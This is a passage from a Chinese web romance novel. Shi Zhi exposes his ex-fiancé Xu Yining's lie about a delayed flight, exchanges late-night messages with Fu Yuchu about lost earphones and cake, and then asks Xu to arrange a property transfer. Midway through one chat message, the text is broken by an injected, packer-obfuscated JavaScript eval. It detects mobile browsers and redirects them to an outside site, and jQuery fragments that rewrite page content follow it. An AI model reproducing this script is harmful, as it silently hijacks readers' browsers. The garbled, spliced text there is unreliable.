傅聿初没能给时稚答案，时稚也不是非要傅聿初回答。
像是突然察觉冒失和逾距，问完那句话后时稚就慌乱地解开安全带开门下车，再次道谢后转身离开。
傅聿初没有马上开车离开。
他看着时稚撑着大黑伞走进雨幕，看着楼下的声控灯亮起又灭掉，看着11楼某间房在不久后变得明亮。
傅聿初长长地，长长地吐出一口气，头抵在方向盘上趴了很久。再起身打算驱车离开时，他看到副驾的座椅上躺着一样不属于自己的东西。
一副穿了可爱外衣的耳机。
-
时稚打开灯在玄关站了片刻，房间还是他离开时的摸样。
徐以宁并没有如他所说在今天回家，就跟从前的那么多次一样。
时稚本该早已习惯这间屋子的空旷，可前不久才经历过有温度的车厢，此刻竟生出一些细微的不适。
他将伞拿到阳台撑起，然后对着茶几上刚刚放上去的东西发呆。
有关傅聿初的东西好像越来越多了：挂在玄关的风衣，阳台的黑伞，桌上的蛋糕，和茶几上的袋子——里面装着几支药膏，是离开餐厅时傅聿初买回来的。
时稚尴尬于傅聿初知道他身上的痕迹，也感动于傅聿初留心到他身上的痕迹没有消散。
虽然他就是那些痕迹的始作俑者。
温热的水流顺着身体的曲线滑过全身，时稚置身在花洒下，心头一片茫然。
水停了，他站在洗浴镜前，看着开始变淡的印记，不由自主地用指腹轻轻划过。
不一样，感觉不一样。
他将药膏涂抹在身上淤伤的地方：膝盖，大腿，腰侧，胸口，手腕。他故意避开了脖颈的痕迹。
不出意外，明天一早徐以宁就会回来。
脖子上的印记不用遮挡，他希望徐以宁能够发现。成年人之间需要点到为止，不说破，是他们给彼此的体面。
时稚洗完澡出来就一头埋进书房，之前接的商稿在收尾阶段，他得在今晚改完。这几天外出的次数太多，能抵得上过去一两个月的量，有点耽误事。
商稿是徐以宁客户公司的，涂涂改改无数次，早就磨灭了时稚的画作热情。
少了热情的作品就如没有灵魂的躯壳，只是外表看着光鲜亮丽，实则没有半点价值，但是客户喜欢。
时稚是一名自由画师，他的笔名在圈子里也小有名气，只是他为人低调，加上有点社恐，身边很少有人将那个有灵气的画师跟时稚对上号。
徐以宁或许知道，刚在一起时时稚跟他说过自己的事情，只是徐以宁好像记忆力不好，总是忘记时稚讲过的话。
他从大二开始就不再接商稿了，但徐以宁还是施舍似的给他推荐很多客户，好像没有徐以宁的推荐，时稚就会因为接不到商稿赚不到稿费而生活窘迫一样。
拒绝的次数多了，彼此都不开心。
手上这幅商稿是徐以宁客户公司的，时稚想着他们都要退婚了，就当最后帮徐以宁的忙。
只是他没想到改起来这么痛苦。
最后几笔收尾，时间已经到了凌晨1点多。时稚将按照客户要求改过无数次的画稿用邮箱发送过去，揉了揉僵硬的脖颈，心不在焉地拿起手机翻看。
徐以宁在晚上九点多的时候发了消息：【媳妇儿，航班延误，我改签到早上了，中午到家，陪你吃完饭我再去公司】
时稚捏着手机发了会儿呆，等反应过来的时候页面已经切换到了某款APP，上面清晰地显示着昨天宁城到安城所有航班都准点起飞，准点到达。
时稚觉得好笑。
徐以宁总是这样，说些特别容易戳破的谎言，像是故意等着时稚去发现和拆穿。
又或者觉得反应迟钝的时稚不可能发现。
这款查询航班信息的APP是时稚去年大学毕业时下载的。那时候徐以宁刚接手家里的公司，经常到处出差特别忙。总是在出差回来的某天回家看一眼时稚又匆忙离开，有时候连一起吃一顿饭的时间都没有。
时稚习惯性熬夜，昼夜颠倒。有时候徐以宁回家时稚刚好在补觉，他总是不忍叫醒时稚，默默看他一眼然后再奔赴繁忙的生活。
时稚为了能见到白天回家的徐以宁，就在付雨萌的推荐下下载了这款APP，知道徐以宁航班后总会对好闹钟以便清醒地等他回家。
为徐以宁下载的软件如今却成了戳破徐以宁谎言的武器。
时稚长按图标，点了删除。
他没有回徐以宁的微信，继续翻看其他消息，最后视线停在了下午刚加的某个新头像上。
是一片绿色的银杏叶，夹在泛黄的信纸里。
对话框里躺着一条半小时前的消息——
CH:【[图片]】
没有文字，只有一张图片。时稚认出那是自己的耳机。
他动了动手指回：【是我的】
对话框上面立马出现“对方正在输入中……”的字样，时稚耐心等着。
CH：【在座椅上】
CH：【我捡到了】
时稚想了想走到玄关将那天穿回来的风衣拿下来找了个袋子装起，拍了张照片发过去—
时：【[图片]】
时：【你的衣服，我明天送去干洗，到时候再还你】
CH：【耳机怎么还你？】
时稚皱着眉头想了想，回说：【不用了】那副耳机他用了很久，刚好可以换新的。
傅聿初消息很快过来——
CH：【衣服也不用了】
CH：【你不是已经花钱买了么】
时稚：……
时稚正想怎么回，傅聿初又发了条消息——
CH：【耳机衣服很可爱】
时稚笑了下：【我自己画的】
CH：【好厉害】
什么啊。
时稚趿拉着拖鞋移到沙发上坐下，慢吞吞敲字：【谢谢夸奖？】
CH：【不客气？】
CH：【这么晚还没睡？】
时稚咬着嘴唇回：【你不也没睡】
CH：【我在等耳机的处理方案】
时：【现在你等到了，可以去睡了】
傅聿初没有去睡，他又问了其他问题：【带回去的蛋糕吃了没？】
糟糕，忘了。
时稚看了眼回来被自己丢在餐桌上忘了放冰箱的蛋糕，刚想拿过来拆开吃，手机又震了下——
CH：【这么晚吃甜食对胃不好】
时：【……】
他明天吃！
CH：【过夜的蛋糕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156259|180572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好吃】
时：【…………】
时：【你又知道】
CH：【嗯】
CH：【我就知道】
时：【……睡了】
傅聿初没有再回消息。
-
徐以宁是第二天中午回来的。
他到家的时候时稚正盘坐在阳台画画。连绵几日的阴雨天气终于放晴，太阳洒在时稚身上，暖洋洋的，让人看了就心生暖意。
徐以宁站在玄关，只觉连日的疲惫都被尽数扫去。他一边低头换鞋一边说话：“媳妇儿，我回来了。”
时稚抬头看了他一眼，没说话。
徐以宁放下手提包，脱掉西服随手丢在沙发上，走到时稚面前弯腰想去亲他，“想我没？”
时稚抗拒地往后躲。
亲吻落空，徐以宁也不生气，像是早已见怪不怪，他宠溺地揉了揉时稚的头发，笑着说：“行行行，知道你洁癖，我先去洗澡。”
客卫很快传来水声，时稚皱着眉头想了半天，都不太能够理解徐以宁的举动。
他们已经分手，再做如此亲密动作不太合适。想来是习惯难改，徐以宁一时忘了。
等会儿再提醒他好了。
时稚低头专注画画。
“媳妇儿，你是不是又没吃早餐？”徐以宁洗完澡出来换了身家居服，边翻冰箱边说：“我跟你说你这样不行，早饭还是要吃的，吃完再补觉。你…咦？里面怎么有半块儿蛋糕，付雨萌店里又出新品了？”
“不是。”
徐以宁像是没有听到，沉浸在自己的说教里：“不是我干涉你的社交，实在是付雨萌太咋呼，你还是尽量少跟她来往，小心给你带坏。”
时稚无数次替自己唯一好友辩解：“雨萌不是你说的那样，她从来不会带坏我，你不能这样说她。”
徐以宁像是台习惯喋喋不休的机器，永远都沉浸在自己的世界里。在公司当领导的他习惯了下达命令，只要指令发出，就不会再听员工的具体思路，他只会在最后的期限检验结果。
显然时稚不是听话的员工，从没有好好完成过任务。
好在这种相处模式早已成为他们的习惯，时稚对徐以宁的指令无动于衷，徐以宁对时稚的反抗充耳不闻。
“中午吃鸡丝面可以吗？”征询的语气，却没有给时稚选择的机会。徐以宁拿着食材去了厨房，自然地跳转话题，扮演着他二十四孝好男友的一面：“陪你吃完饭我再去公司，下午有个高层会，我必须出席。晚上回来的会比较晚，你不要等我。”
只吃饭的人永远没有挑剔的资格，时稚将鸡丝挑出来放徐以宁碗里，才低头吃饭。
徐以宁捏了捏时稚的脸，笑着说：“我媳妇儿就是对我好，把喜欢的都让给我。”
错误的次数实在太多，时稚懒得纠正。
徐以宁边吃饭边跟时稚讲他在外地的一个月，讲时稚不懂的公司业务，讲公司不同的派系阵营，讲几个极难管理的老员工，讲新来的实习生怎么毛手毛脚。
在讲到公司最近在谈一笔投资，如果这笔投资到账，公司将会重新迈入一个台阶时，时稚放下筷子，轻轻喊了一声：“宁哥。”
“嗯，怎么了？”
“你什么时候有时间？我们去办理小楼过户手续。”